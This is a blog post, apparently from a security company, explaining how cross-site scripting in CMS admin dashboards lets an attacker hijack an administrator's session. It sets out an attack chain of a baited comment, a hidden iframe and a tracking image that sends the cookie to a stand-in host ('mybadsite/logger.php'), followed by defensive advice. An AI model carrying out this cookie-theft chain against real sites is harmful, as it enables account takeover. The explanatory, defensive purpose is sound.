Skip to Main Content

I have been looking into many different CMS solutions. I came across a superb write-up on the challenge of an admin site:

These days the only thing we occasionally hear about are cross site scripting vulnerabilities. Typically these are found in dashboard pages for obscure parts of the CMS or add-ons. In English that means:

1) You log in as admin to your site.

2) You leave that window open as you wander around the web.

3) You go to some nefarious website in another window.

4) Something you click on at that new site is able to do something to your concrete5 site as the user you’re logged in with.

To give you a sense of scale, we typically hear about something like this once every 6 months or so, and we have a fix available within a few days of hearing about it.

One might also point out, you probably don’t need to leave your admin account logged into the dashboard while you go troll torrents… just sayin’.


To the most part, well said, but there is still a serious problem with some simple solutions. One day I would love to have a company contact me and challenge me to get into their CMS. If someone wanted to take me up on that challenge, let’s chat and start getting the paperwork rolling with your IT guys.

Just a quick background. Cross Site Scripting (XSS) is abusing a user’s trust in a site to get their browser to do whatever we want (read more on that here). For example, if I owned a website I would trust it and let my browser run any JavaScript I wanted on it. However, what if a hacker could write their own JavaScript and hide it on my site? When I come to it, my browser will trust it and just run it, letting the hacker do anything they want (with some limits like same origin policy). If you think anything that could be done with AJAX is free game including spidering your site, submitting pages, reading CSRF tokens, scraping web content, downloading malware and attacking your intranet.

So all I need to do is download a copy of their CMS and find some cross-site scripting vulnerability anywhere on the site. This makes it funny because usually, people tell me do not worry about vulnerabilities in the admin site because only admins can see them. Except to take over the site, the admin site is exactly where I want to get – and since these are usually low-priority, they are often not patched. My goal is their session cookie, so my exploit will create a tiny 1 pixel by 1 pixel tracking image on the website that will load the tiny picture from mybadsite/logger.php?cookie=document.cookie.

To see what this looks like, enter the following in your browser bar and press Enter:

javascript:alert(“Your cookies are: “+document.cookie)

Once I found my vulnerability, it’s time to exploit it. So I would post a comment on the website since I know it will likely be an admin that will read it first. My comment will have a link to some throwaway site I made – and on that site will be a hidden iFrame (though not all browsers might like that) that calls my exploit. The admin goes to approve my comment, clicks on the link to verify it, and behind the scenes, the iFframe loads its own website with the exploit, grabs their session cookie, and sends me an email. I go to their site, change my cookie to the same as theirs and (in most cases) the server thinks I am them, and the entire admin site is mine (unless they did one of my favorites and stored their IP and browser signature in the session).

If that did not work, I would have to look at some form of Cross Site Request Forgery to update their password for them or post something to their blog, but chances are I need more data to submit any form, like a cross-site request forgery token. I trust your site has those, right?

So the part about “you probably don’t need to leave your admin account logged into the dashboard while you go troll torrents.” is good, but it is a bit of false security. I would guess that most attacks to an admin system are targeted spearfish attacks. Typically, an email sent directly to someone at the company or a comment or customer support request. Especially for comments, where you need to be logged in to check them.

So how do you prevent this?

  1. Make sure you are using the latest version of your content management system – that way you have all the latest security fixes. Don’t fall into the trap of thinking something like “it only fixes the admin site, so I’m not vulnerable.”
  2. Lock down access so if they steal your session they cannot log in (but they will probably know that ahead of time and focus on a longer script that does all the damage using your browser).
  3. Add a firewall or .htaccess rule that any GET or POST request with variables that comes from an external site (or blank) is redirected to the login page. That way any funny business will not work. You should do this at least for the admin site, but you might get a lot of unexpected exceptions and SEO problems if you do it to your public site.
Request Demo